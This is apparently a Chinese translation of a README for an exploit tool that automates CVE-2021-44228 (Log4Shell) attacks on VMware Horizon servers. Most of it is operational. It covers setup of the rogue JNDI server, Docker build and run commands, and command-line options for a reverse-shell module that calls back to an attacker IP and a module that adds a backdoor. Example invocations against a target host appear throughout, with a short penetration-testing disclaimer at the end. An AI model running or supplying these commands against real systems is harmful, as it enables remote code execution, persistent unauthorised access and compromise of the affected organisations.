
利用 CVE-2021-44228 在 VMWare Horizon 中实现远程代码执行及更多操作。
利用 VMWare Horizon 中的 CVE-2021-44228 实现远程代码执行等操作。
这次的代码和 README.md 有点杂乱。更新即将到来!
此漏洞的概念验证代码分散各处,且需要手动执行。本仓库将利用过程自动化。有关利用后的操作指导,请参阅上面的博客文章。
本仓库可手动使用,也可通过 Docker 使用。
要手动下载并运行该利用工具,请执行以下步骤。首先,确保攻击主机上已安装 Java 和 Maven。在基于 Debian 的操作系统上使用 apt 执行此操作,请运行以下命令:
apt update && apt install openjdk-11-jre maven
克隆 GitHub 仓库并安装所有 Python 依赖:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
在 Log4jHorizon 仓库根目录下,使用以下命令编译 Rogue-Jndi 项目:
mvn package -f utils/rogue-jndi/
首先,确保攻击主机上已安装 Docker。(我不会一步步教你如何安装)
接下来,执行以下命令克隆仓库并构建我们将使用的 Docker 镜像。
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
要运行容器,请执行类似以下命令并附加你的命令行参数。请注意,容器不会捕获反弹 shell。你需要在单独的 shell 会话中创建 ncat 监听器:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
使用安装在本地系统上的工具获取反弹 shell:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
此工具设计用于渗透测试;在未经双方事先同意的情况下使用此工具攻击目标属于违法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对任何滥用此程序的行为负责。